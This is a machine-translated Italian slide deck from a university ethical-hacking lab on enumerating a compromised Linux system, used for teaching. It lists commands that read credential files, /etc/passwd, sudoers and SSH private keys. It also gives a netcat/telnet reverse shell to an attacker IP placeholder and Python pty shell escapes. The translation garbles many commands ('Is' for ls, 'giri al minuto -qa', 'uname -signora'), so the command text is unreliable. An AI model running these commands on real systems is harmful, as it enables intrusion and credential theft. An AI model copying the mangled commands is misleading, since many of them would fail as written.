Ottenere informazioni sui sistemi Linux
Machine Translated by Google
de remi facemmo ali
POLI
1990
TECNICO DI
DEI
DIPARTIMENTO DI
INGEGNERIA ELETTRICA
E DELL'INFORMAZIONE
Ottenere informazioni sui
sistemi Linux
Ilaria Cianci, PhD
RTD-A
DEI, Politecnico di Bari
e-mail: ilaria.cianci@poliba.it
Hacking etico
Laboratorio
- aa 2023-24 -
Politecnico
di Bari
BARMachine Translated by Google
Tipo e versione della distribuzione
- cat /etc/issue
- cat /etc/ *- release
- cat /etc/Isb-release # su Debian
- cat /etc/redhat-release # su Redhat
2Machine Translated by Google
Informazioni sulla versione del kernel
32 o 64 bit?
- cat /proc/versione
- uname -a
- uname -signora
- rpm -q kernel ·
- dmesg | grep Linux · Is /
boot | grep vmlinuz-
3Machine Translated by Google
Variabili ambientali
Cosa possiamo capire dalle variabili ambientali?
- cat /etc/profile . cat /etc/
bashrc . cat ~/.bash_profile
- cat ~/.bashrc . cat ~/.bash_logout
- ambiente
- impostato
4Machine Translated by Google
Servizi in esecuzione e permessi
Quali servizi sono in esecuzione? E con
quali permessi?
- p.s
- ps -ef
- top
- cat /etc/services
5Machine Translated by Google
Servizi in esecuzione come root
Quali servizi sono in esecuzione come root? Ce n'è uno
vulnerabile tra questi servizi?
- ps aux | grep root
ps -ef | grep root
6Machine Translated by Google
Applicazioni installate e in esecuzione
Quali applicazioni sono installate e in
esecuzione?
- Is -alh /usr/bin/ . Is
-alh /sbin/ . dpkg
-l
- giri al minuto -qa
- Is -alh /var/cache/apt/archivesO . Is -alh /
var/cache/yum/
7Machine Translated by Google
Impostazioni del servizio e plugin vulnerabili
cune impostazioni del servizio non
configurate correttamente? Ci sono plugin vulnerabili connessi?
- cat /etc/syslog.conf .
cat /etc/chttp.conf . cat /
etc/lighttpd.conf . cat /etc/
cups/cupsd.conf . cat /etc/
inetd.conf . cat /etc/
apache2/apache2.conf . cat /etc/my.conf
- cat /etc/httpd/conf/
httpd.conf . cat /opt/lampp/etc/
httpd.conf . Is-aRI /etc/ | awk '$1 ~ /
A .* r .* /
8Machine Translated by Google
File con nome utente e password in testo normale
Esiste un file con nome utente e
password in testo normale?
- grep -i utente [nome file] ·
- grep -i pass [nome file] .
- grep -C 5 "password" [nome file] . find .
-name " *. php" -print0 | xargs -0 grep -i -n "var $password" #
Joomla
9Machine Translated by Google
Configurazione di rete
Informazioni sulla configurazione di rete?
- cat /etc/resolv.conf . cat /
etc/sysconfig/network . cat /etc/
networks · iptables -L .
nome host
- nomedominiodns
10Machine Translated by Google
Comunicazione con il sistema
Quali altri host e utenti comunicano
con il sistema?
- Isof -i
- Isof -i :80
- grep 80 /etc/services ·
- netstat -antup .
- netstat -antpx .
- netstat -tulpn .
- chkconfig -- list
chkconfig -- list | grep 3:on
- scorso
- In
11Machine Translated by Google
Interazione con il sistema tramite shell
Abbiamo una shell? Possiamo interagire con il
sistema?
- c -lvp 4444 # Attaccante. Input (comandi)
- nc -lvp 4445 # Attaccante. Output (Risultati)
- telnet [ip aggressori] 44444 | /bin/sh | [ip locale] 44445 # Sul
sistema di destinazione. Usa l'IP degli aggressori!
12Chi siamo? Chi altro è loggato nel sistema?
- id
- Chi
- In
- scorso
- cat /etc/passwd | cut -d: # Elenco degli utenti
- grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { stampa $1}'
# Elenco dei super utenti
- awk -F: '($3 == "0") {print}' /etc/passwd # Elenco dei super
utenti
- cat /etc/sudoers
- sudo -l
13Machine Translated by Google
Password in script, database o file di configurazione
Ci sono password negli script, nei database o nei
file di configurazione? (percorso standard)
- cat /var/apache2/config.inc .
- cat /var/lib/mysql/mysql/user.MYD . cat /
root/anaconda-ks.cfg
14Machine Translated by Google
Informazioni sulla chiave privata
Possiamo trovare informazioni sulla chiave privata? ·
- cat ~/.ssh/authorized_keys . cat
~/.ssh/identity.pub . cat
~/.ssh/identity . cat
~/.ssh/id_rsa.pub . cat
~/.ssh/id_rsa . cat
~/.ssh/id_dsa.pub . cat
~/.ssh/id_dsa . cat /
etc/ssh/ssh_config . cat /etc/
ssh/sshd_config . cat /etc/ssh/
ssh host_dsa_key.pub . cat /etc/ssh/
ssh_host_dsa_key . cat /etc/ssh/
ssh_host_rsa_key.pub . cat /etc/ssh/
ssh host_rsa_key . cat /etc/ssh/
ssh_host_key.pub . cat /etc/ssh/
ssh host_key
15Machine Translated by Google
File nascosti sul server web
C'è qualche file nascosto sul server web?
- Is -alhR /var/www/ . Is
-alhR /srv/www/htdocs/ · Is
-alhR /usr/local/www/apache22/data/ · Is -alhR /
opt/lampp/htdocs/ . Is -alhR /var/
www/html/
16Machine Translated by Google
Fuga dalla "prigione"
Possiamo fuggire dalla "prigione"?
- python -c 'importa pty;pty.spawn("/bin/bash")' . echo
os.system('/bin/bash') . /bin/sh -i
17Machine Translated by Google
Montaggio dei file system
Come vengono montati i file system?
18Machine Translated by Google
File system non montati
Esistono file system non montati?
19Machine Translated by Google
Directory scrivibili o eseguibili
In quali directory possiamo scrivere o eseguire file?
- find / -writable -type d 2>/dev/null # cartelle in cui possiamo
scrivere
- find / -perm -222 -type d 2>/dev/null # cartelle in cui possiamo
scrivere
- find / -perm -o w -type d 2>/dev/null # cartelle in cui possiamo
scrivere
- find / -perm -o x -type d 2>/dev/null # cartelle in cui possiamo
eseguire
20